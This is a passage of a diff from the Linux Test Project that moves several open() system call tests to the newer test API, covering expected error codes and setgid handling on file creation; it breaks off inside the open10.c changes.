diff --git a/testcases/kernel/syscalls/open/open02.c b/testcases/kernel/syscalls/open/open02.c
index ca9839c..3c9cc7e 100644
--- a/testcases/kernel/syscalls/open/open02.c
+++ b/testcases/kernel/syscalls/open/open02.c
@@ -4,20 +4,17 @@
  * Ported to LTP: Wayne Boyer
  *	06/2017 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  */
-/*
- * DESCRIPTION
- *	1. open a new file without O_CREAT, ENOENT should be returned.
- *	2. open a file with O_RDONLY | O_NOATIME and the caller was not
- *	   privileged, EPERM should be returned.
+
+/*\
+ * [Description]
+ *
+ * 1. open a new file without O_CREAT, ENOENT should be returned.
+ * 2. open a file with O_RDONLY | O_NOATIME and the caller was not
+ * privileged, EPERM should be returned.
  */
 
 #define _GNU_SOURCE
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <errno.h>
-#include <fcntl.h>
 #include <pwd.h>
 #include "tst_test.h"
 
@@ -31,7 +28,7 @@
 	const char *desc;
 } tcases[] = {
 	{TEST_FILE, O_RDWR, ENOENT, "new file without O_CREAT"},
-	{TEST_FILE2, O_RDONLY | O_NOATIME, EPERM, "unpriviledget O_RDONLY | O_NOATIME"},
+	{TEST_FILE2, O_RDONLY | O_NOATIME, EPERM, "unprivileged O_RDONLY | O_NOATIME"},
 };
 
 void setup(void)
@@ -49,7 +46,7 @@
 {
 	struct tcase *tc = &tcases[n];
 
-	TST_EXP_FAIL(open(tc->filename, tc->flag, 0444),
+	TST_EXP_FAIL2(open(tc->filename, tc->flag, 0444),
 	             tc->exp_errno, "open() %s", tc->desc);
 }
 
diff --git a/testcases/kernel/syscalls/open/open03.c b/testcases/kernel/syscalls/open/open03.c
index aa15ee9..5521dfe 100644
--- a/testcases/kernel/syscalls/open/open03.c
+++ b/testcases/kernel/syscalls/open/open03.c
@@ -1,90 +1,29 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2001-2022
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
  */
 
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
+/*\
+ * [Description]
+ *
+ * Testcase to check open() with O_RDWR | O_CREAT.
+ */
 
-static void setup(void);
-static void cleanup(void);
+#include "tst_test.h"
 
-char *TCID = "open03";
-int TST_TOTAL = 1;
+#define TEST_FILE "testfile"
 
-static char fname[255];
-static int fd;
-
-int main(int ac, char **av)
+static void verify_open(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(open(fname, O_RDWR | O_CREAT, 0700));
-		fd = TEST_RETURN;
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO,
-				 "open(%s,O_RDWR|O_CREAT,0700) failed", fname);
-		} else {
-			tst_resm(TPASS,
-				 "open(%s, O_RDWR|O_CREAT,0700) returned %ld",
-				 fname, TEST_RETURN);
-
-			SAFE_CLOSE(cleanup, fd);
-			SAFE_UNLINK(cleanup, fname);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_FD(open(TEST_FILE, O_RDWR | O_CREAT, 0700));
+	SAFE_CLOSE(TST_RET);
+	SAFE_UNLINK(TEST_FILE);
 }
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
-	TEST_PAUSE;
 
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.test_all = verify_open,
+};
diff --git a/testcases/kernel/syscalls/open/open04.c b/testcases/kernel/syscalls/open/open04.c
index 7b3b5eb..24ef52a 100644
--- a/testcases/kernel/syscalls/open/open04.c
+++ b/testcases/kernel/syscalls/open/open04.c
@@ -1,133 +1,70 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * DESCRIPTION
- *	Testcase to check that open(2) sets EMFILE if a process opens files
- *	more than its descriptor size
+/*\
+ * [Description]
  *
- * ALGORITHM
- *	First get the file descriptor table size which is set for a process.
- *	Use open(2) for creating files till the descriptor table becomes full.
- *	These open(2)s should succeed. Finally use open(2) to open another
- *	file. This attempt should fail with EMFILE.
+ * Verify that open(2) fails with EMFILE when per-process limit on the number
+ * of open file descriptors has been reached.
  */
 
 #include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include "test.h"
+#include <stdlib.h>
+#include "tst_test.h"
 
-char *TCID = "open04";
-int TST_TOTAL = 1;
+#define FNAME "open04"
 
-static int fd, ifile, mypid, first;
-static int nfile;
-static int *buf;
-static char fname[40];
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(open(fname, O_RDWR | O_CREAT, 0777));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			continue;
-		}
-
-		if (TEST_ERRNO != EMFILE)
-			tst_resm(TFAIL, "Expected EMFILE, got %d", TEST_ERRNO);
-		else
-			tst_resm(TPASS, "call returned expected EMFILE error");
-	}
-
-	close(first);
-	close(fd);
-	cleanup();
-	tst_exit();
-}
+static int fds_limit, first, i;
+static int *fds;
+static char fname[20];
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	int fd;
 
-	TEST_PAUSE;
+	fds_limit = getdtablesize();
+	first = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0777);
 
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
+	fds = SAFE_MALLOC(sizeof(int) * (fds_limit - first));
+	fds[0] = first;
 
-	mypid = getpid();
-	nfile = getdtablesize();
-	sprintf(fname, "open04.%d", mypid);
-
-	first = fd = open(fname, O_RDWR | O_CREAT, 0777);
-	if (first == -1)
-		tst_brkm(TBROK, cleanup, "Cannot open first file");
-
-	close(fd);
-	close(first);
-	unlink(fname);
-
-	/* Allocate memory for stat and ustat structure variables */
-	buf = malloc(sizeof(int) * nfile - first);
-	if (buf == NULL)
-		tst_brkm(TBROK, NULL, "Failed to allocate Memory");
-
-	for (ifile = first; ifile <= nfile; ifile++) {
-		sprintf(fname, "open04.%d.%d", ifile, mypid);
+	for (i = first + 1; i < fds_limit; i++) {
+		sprintf(fname, FNAME ".%d", i);
 		fd = open(fname, O_RDWR | O_CREAT, 0777);
 		if (fd == -1) {
-			if (errno != EMFILE) {
-				tst_brkm(TBROK, cleanup, "Expected EMFILE got "
-					 "%d", errno);
-			}
+			if (errno != EMFILE)
+				tst_brk(TBROK, "Expected EMFILE but got %d", errno);
+			fds_limit = i;
 			break;
 		}
-		buf[ifile - first] = fd;
+		fds[i - first] = fd;
 	}
 }
 
+static void run(void)
+{
+	sprintf(fname, FNAME ".%d", fds_limit);
+	TST_EXP_FAIL2(open(fname, O_RDWR | O_CREAT, 0777), EMFILE);
+}
+
 static void cleanup(void)
 {
-	close(first);
+	if (!first || !fds)
+		return;
 
-	for (ifile = first; ifile < nfile; ifile++) {
-		sprintf(fname, "open04.%d.%d", ifile, mypid);
-		close(buf[ifile - first]);
-		unlink(fname);
-	}
+	for (i = first; i < fds_limit; i++)
+		SAFE_CLOSE(fds[i - first]);
 
-	free(buf);
-
-	/* delete the test directory created in setup() */
-	tst_rmdir();
+	if (fds)
+		free(fds);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/open/open05.c b/testcases/kernel/syscalls/open/open05.c
deleted file mode 100644
index f5098be..0000000
--- a/testcases/kernel/syscalls/open/open05.c
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * DESCRIPTION
- *	Testcase to check open(2) sets errno to EACCES correctly.
- *
- * ALGORITHM
- *	Create a file owned by root with no read permission for other users.
- *	Attempt to open it as ltpuser(1). The attempt should fail with EACCES.
- * RESTRICTION
- *	Must run test as root.
- */
-#include <errno.h>
-#include <pwd.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "open05";
-int TST_TOTAL = 1;
-
-static char fname[20];
-static int fd;
-
-static uid_t nobody_uid;
-
-static void cleanup(void);
-static void setup(void);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int e_code, status, retval = 0;
-	pid_t pid;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		pid = FORK_OR_VFORK();
-		if (pid == -1)
-			tst_brkm(TBROK, cleanup, "fork() failed");
-
-		if (pid == 0) {
-			if (seteuid(nobody_uid) == -1) {
-				tst_resm(TWARN, "seteuid() failed, errno: %d",
-					 errno);
-			}
-
-			TEST(open(fname, O_RDWR));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "open succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO != EACCES) {
-				retval = 1;
-				tst_resm(TFAIL, "Expected EACCES got %d",
-					 TEST_ERRNO);
-			} else {
-				tst_resm(TPASS, "open returned expected "
-					 "EACCES error");
-			}
-
-			/* set the id back to root */
-			if (seteuid(0) == -1)
-				tst_resm(TWARN, "seteuid(0) failed");
-
-			exit(retval);
-
-		} else {
-			/* wait for the child to finish */
-			wait(&status);
-			/* make sure the child returned a good exit status */
-			e_code = status >> 8;
-			if ((e_code != 0) || (retval != 0))
-				tst_resm(TFAIL, "Failures reported above");
-
-			close(fd);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	struct passwd *pw;
-
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
-	nobody_uid = pw->pw_uid;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
-
-	sprintf(fname, "file.%d", getpid());
-
-	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
-}
-
-static void cleanup(void)
-{
-	unlink(fname);
-
-	/* delete the test directory created in setup() */
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/open/open06.c b/testcases/kernel/syscalls/open/open06.c
index 6c774ce..e167c2b 100644
--- a/testcases/kernel/syscalls/open/open06.c
+++ b/testcases/kernel/syscalls/open/open06.c
@@ -1,90 +1,34 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
+// SPDX-License-Identifier: GPL-2.0-or-later
 
 /*
- * DESCRIPTION
- *	Testcase to check open(2) sets errno to ENXIO correctly.
- *
- * ALGORITHM
- *	Create a named pipe using mknod(2).  Attempt to
- *	open(2) the pipe for writing. The open(2) should
- *	fail with ENXIO.
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <unistd.h>
-#include "test.h"
 
-char *TCID = "open06";
-int TST_TOTAL = 1;
+/*\
+ * [Description]
+ *
+ * Verify that open(2) fails with ENXIO when
+ * O_NONBLOCK | O_WRONLY is set, the named file is a FIFO,
+ * and no process has the FIFO open for reading.
+ */
 
-static void setup(void);
-static void cleanup(void);
+#include "tst_test.h"
 
-static char fname[100] = "fifo";
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(open(fname, O_NONBLOCK | O_WRONLY));
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "open(2) succeeded unexpectedly");
-			continue;
-		}
-
-		if (TEST_ERRNO != ENXIO)
-			tst_resm(TFAIL, "Expected ENXIO got %d", TEST_ERRNO);
-		else
-			tst_resm(TPASS, "call returned expected ENXIO error");
-	}
-
-	cleanup();
-	tst_exit();
-}
+#define TEMP_FIFO "tmpfile"
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "%s.%d", fname, getpid());
-
-	if (mknod(fname, S_IFIFO | 0644, 0) == -1)
-		tst_brkm(TBROK, cleanup, "mknod FAILED");
+	SAFE_MKFIFO(TEMP_FIFO, 0644);
 }
 
-static void cleanup(void)
+static void run(void)
 {
-	unlink(fname);
-
-	tst_rmdir();
+	TST_EXP_FAIL2(open(TEMP_FIFO, O_NONBLOCK | O_WRONLY), ENXIO);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/open/open08.c b/testcases/kernel/syscalls/open/open08.c
index 29a23c2..0af455b 100644
--- a/testcases/kernel/syscalls/open/open08.c
+++ b/testcases/kernel/syscalls/open/open08.c
@@ -4,48 +4,26 @@
  *   Copyright (c) 2018 Linux Test Project
  */
 
-/*
- * DESCRIPTION
- *	Check for the following errors:
- *	1.	EEXIST
- *	2.	EISDIR
- *	3.	ENOTDIR
- *	4.	ENAMETOOLONG
- *	5.	EACCES
- *	6.	EFAULT
+/*\
+ * [Description]
  *
- * ALGORITHM
- *	1. Open a file with O_CREAT and O_EXCL, when the file already
- *	   exists. Check the errno for EEXIST
+ * Verify that open() fails with:
  *
- *	2. Pass a directory as the pathname and request a write access,
- *	   check for errno for EISDIR
- *
- *	3. Specify O_DIRECTORY as a parameter to open and pass a file as the
- *	   pathname, check errno for ENOTDIR
- *
- *	4. Attempt to open() a filename which is more than VFS_MAXNAMLEN, and
- *	   check for errno to be ENAMETOOLONG.
- *
- *	5. Attempt to open a (0600) file owned by different user in WRONLY mode,
- *	   open(2) should fail with EACCES.
- *
- *	6. Attempt to pass an invalid pathname with an address pointing outside
- *	   the accessible address space of the process, as the argument to open(),
- *	   and expect to get EFAULT.
+ * - EEXIST when pathname already exists and O_CREAT and O_EXCL were used
+ * - EISDIR when pathname refers to a directory and the access requested
+ * involved writing
+ * - ENOTDIR when O_DIRECTORY was specified and pathname was not a directory
+ * - ENAMETOOLONG when pathname was too long
+ * - EACCES when requested access to the file is not allowed
+ * - EFAULT when pathname points outside the accessible address space
  */
 
 #define _GNU_SOURCE		/* for O_DIRECTORY */
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <stdio.h>
-#include <errno.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <signal.h>
+
 #include <pwd.h>
 #include "tst_test.h"
-#include "tst_get_bad_addr.h"
+
+#define FLAGS_DESC(x) .flags = x, .desc = #x
 
 static char *existing_fname = "open08_testfile";
 static char *toolong_fname = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
@@ -58,35 +36,21 @@
 static struct test_case_t {
 	char **fname;
 	int flags;
+	const char *desc;
 	int error;
 } tcases[] = {
-	{&existing_fname, O_CREAT | O_EXCL, EEXIST},
-	{&dir_fname, O_RDWR, EISDIR},
-	{&existing_fname, O_DIRECTORY, ENOTDIR},
-	{&toolong_fname, O_RDWR, ENAMETOOLONG},
-	{&user2_fname, O_WRONLY, EACCES},
-	{&unmapped_fname, O_CREAT, EFAULT}
+	{&existing_fname, FLAGS_DESC(O_CREAT | O_EXCL), EEXIST},
+	{&dir_fname, FLAGS_DESC(O_RDWR), EISDIR},
+	{&existing_fname, FLAGS_DESC(O_DIRECTORY), ENOTDIR},
+	{&toolong_fname, FLAGS_DESC(O_RDWR), ENAMETOOLONG},
+	{&user2_fname, FLAGS_DESC(O_WRONLY), EACCES},
+	{&unmapped_fname, FLAGS_DESC(O_CREAT), EFAULT},
 };
 
-void verify_open(unsigned int i)
+static void verify_open(unsigned int i)
 {
-	TEST(open(*tcases[i].fname, tcases[i].flags,
-		S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH));
-
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "call succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR == tcases[i].error) {
-		tst_res(TPASS, "expected failure - "
-				"errno = %d : %s", TST_ERR,
-				strerror(TST_ERR));
-	} else {
-		tst_res(TFAIL, "unexpected error - %d : %s - "
-				"expected %d", TST_ERR,
-				strerror(TST_ERR), tcases[i].error);
-	}
+	TST_EXP_FAIL2(open(*tcases[i].fname, tcases[i].flags, 0644),
+				tcases[i].error, "%s", tcases[i].desc);
 }
 
 static void setup(void)
@@ -105,7 +69,7 @@
 	SAFE_SETUID(ltpuser->pw_uid);
 
 	fildes = SAFE_CREAT(existing_fname, 0600);
-	close(fildes);
+	SAFE_CLOSE(fildes);
 
 	unmapped_fname = tst_get_bad_addr(NULL);
 }
diff --git a/testcases/kernel/syscalls/open/open10.c b/testcases/kernel/syscalls/open/open10.c
index 14feec9..d2d3729 100644
--- a/testcases/kernel/syscalls/open/open10.c
+++ b/testcases/kernel/syscalls/open/open10.c
@@ -1,461 +1,143 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) International Business Machines  Corp., 2002
+ * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
+ */
+/*\
+ * [Description]
  *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Verify that the group ID and setgid bit are set correctly when a new file
+ * is created.
  */
 
-/*
- * Description:
- *	Verifies that the group ID and setgid bit are
- *	set correctly when a new file is created using open.
- *
- * ALGORITHM
- *	Create two directories, one with the group ID of this process
- *	and the setgid bit not set, and the other with a group ID
- *	other than that of this process and with the setgid bit set.
- *	In each directory, create a file with and without the setgid
- *	bit set in the creation modes. Verify that the modes and group
- *	ID are correct on each of the 4 files.
- *	As root, create a file with the setgid bit on in the
- *	directory with the setgid bit.
- *	This tests the SVID3 create group semantics.
- */
-
-#include <stdio.h>
+#include <stdlib.h>
 #include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <grp.h>
 #include <pwd.h>
-#include "test.h"
+#include "tst_test.h"
+#include "tst_uid.h"
 
-char *TCID = "open10";
-int TST_TOTAL = 1;
-static int local_flag;
+#define MODE_RWX        0777
+#define MODE_SGID       (S_ISGID|0777)
 
-#define PASSED 1
-#define FAILED 0
+#define DIR_A		"dir_a"
+#define DIR_B		"dir_b"
+#define SETGID_A	DIR_A "/setgid"
+#define NOSETGID_A	DIR_A "/nosetgid"
+#define SETGID_B	DIR_B "/setgid"
+#define NOSETGID_B	DIR_B "/nosetgid"
+#define ROOT_SETGID	DIR_B "/root_setgid"
 
-#define MODE_RWX        (S_IRWXU | S_IRWXG | S_IRWXO)
-#define MODE_SGID       (S_ISGID | S_IRWXU | S_IRWXG | S_IRWXO)
-#define DIR_A_TEMP	"open10.testdir.A.%d"
-#define DIR_B_TEMP	"open10.testdir.B.%d"
-#define SETGID		"setgid"
-#define NOSETGID	"nosetgid"
-#define ROOT_SETGID	"root_setgid"
-#define	MSGSIZE		150
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char *av[])
-{
-	int ret;
-	struct stat buf;
-	struct group *group;
-	struct passwd *user1;
-	char DIR_A[MSGSIZE], DIR_B[MSGSIZE];
-	char setgid_A[MSGSIZE], nosetgid_A[MSGSIZE];
-	char setgid_B[MSGSIZE], nosetgid_B[MSGSIZE], root_setgid_B[MSGSIZE];
-	gid_t group1_gid, group2_gid, mygid;
-	uid_t save_myuid, user1_uid;
-	pid_t mypid;
-
-	int lc;
-	int fail_count = 0;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		local_flag = PASSED;
-
-		save_myuid = getuid();
-		mypid = getpid();
-		sprintf(DIR_A, DIR_A_TEMP, mypid);
-		sprintf(DIR_B, DIR_B_TEMP, mypid);
-		sprintf(setgid_A, "%s/%s", DIR_A, SETGID);
-		sprintf(nosetgid_A, "%s/%s", DIR_A, NOSETGID);
-		sprintf(setgid_B, "%s/%s", DIR_B, SETGID);
-		sprintf(nosetgid_B, "%s/%s", DIR_B, NOSETGID);
-		sprintf(root_setgid_B, "%s/%s", DIR_B, ROOT_SETGID);
-
-		/* Get the uid of user1 */
-		user1 = getpwnam("nobody");
-		if (user1 == NULL)
-			tst_brkm(TBROK, cleanup, "nobody not in /etc/passwd");
-
-		user1_uid = user1->pw_uid;
-
-		/*
-		 * Get the group IDs of group1 and group2.
-		 */
-		group = getgrnam("nobody");
-		if (group == NULL) {
-			group = getgrnam("nogroup");
-			if (group == NULL) {
-				tst_brkm(TBROK, cleanup,
-					 "nobody/nogroup not in /etc/group");
-			}
-		}
-		group1_gid = group->gr_gid;
-		group = getgrnam("bin");
-		if (group == NULL)
-			tst_brkm(TBROK, cleanup, "bin not in /etc/group");
-
-		group2_gid = group->gr_gid;
-
-		/*
-		 * Create a directory with group id the same as this process
-		 * and with no setgid bit.
-		 */
-		if (mkdir(DIR_A, MODE_RWX) < 0) {
-			tst_resm(TFAIL | TERRNO, "mkdir(%s) failed", DIR_A);
-			local_flag = FAILED;
-		}
-
-		if (chown(DIR_A, user1_uid, group2_gid) < 0) {
-			tst_resm(TFAIL | TERRNO, "chown(%s) failed", DIR_A);
-			local_flag = FAILED;
-		}
-
-		if (stat(DIR_A, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed", DIR_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (buf.st_mode & S_ISGID) {
-			tst_resm(TFAIL, "%s: Incorrect modes, setgid bit set",
-				 DIR_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group (got %d and %d)",
-				 DIR_A, buf.st_gid, group2_gid);
-			local_flag = FAILED;
-		}
-
-		/*
-		 * Create a directory with group id different from that of
-		 * this process and with the setgid bit set.
-		 */
-		if (mkdir(DIR_B, MODE_RWX) < 0) {
-			tst_resm(TFAIL | TERRNO, "mkdir(%s) failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		if (chown(DIR_B, user1_uid, group2_gid) < 0) {
-			tst_resm(TFAIL | TERRNO, "chown(%s) failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		if (chmod(DIR_B, MODE_SGID) < 0) {
-			tst_resm(TFAIL | TERRNO, "chmod(%s) failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		if (stat(DIR_B, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed", DIR_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (!(buf.st_mode & S_ISGID)) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit not set",
-				 DIR_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group (got %d and %d)",
-				 DIR_B, buf.st_gid, group2_gid);
-			local_flag = FAILED;
-		}
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block0.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block0.");
-			fail_count++;
-		}
-
-		local_flag = PASSED;
-
-		/*
-		 * Create two files in testdir.A, one with the setgid
-		 * bit set in the creation modes and the other without.
-		 * Both should inherit the group ID of the process and
-		 * maintain the setgid bit as specified in the creation
-		 * modes.
-		 */
-		if (setgid(group1_gid) < 0) {
-			tst_resm(TINFO,
-				 "Unable to set process group ID to group1");
-		}
-
-		if (setreuid(-1, user1_uid) < 0)
-			tst_resm(TINFO, "Unable to set process uid to user1");
-
-		mygid = getgid();
-
-		/*
-		 * Create the file with setgid not set
-		 */
-		ret = open(nosetgid_A, O_CREAT | O_EXCL | O_RDWR, MODE_RWX);
-		if (ret < 0) {
-			tst_resm(TFAIL | TERRNO, "open(%s) failed", nosetgid_A);
-			local_flag = FAILED;
-		}
-		close(ret);
-
-		if (stat(nosetgid_A, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed", nosetgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (buf.st_mode & S_ISGID) {
-			tst_resm(TFAIL, "%s: Incorrect modes, setgid bit set",
-				 nosetgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != mygid) {
-			tst_resm(TFAIL, "%s: Incorrect group (got %d and %d)",
-				 nosetgid_A, buf.st_gid, mygid);
-			local_flag = FAILED;
-		}
-
-		/*
-		 * Create the file with setgid set
-		 */
-		ret = open(setgid_A, O_CREAT | O_EXCL | O_RDWR, MODE_SGID);
-		if (ret < 0) {
-			tst_resm(TFAIL | TERRNO, "open(%s) failed", setgid_A);
-			local_flag = FAILED;
-		}
-		close(ret);
-
-		if (stat(setgid_A, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed", setgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (!(buf.st_mode & S_ISGID)) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit not set",
-				 setgid_A);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != mygid) {
-			tst_resm(TFAIL, "%s: Incorrect group (%d and %d)",
-				 setgid_A, buf.st_gid, mygid);
-			local_flag = FAILED;
-		}
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block1.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block1.");
-			fail_count++;
-		}
-
-		local_flag = PASSED;
-
-		/*
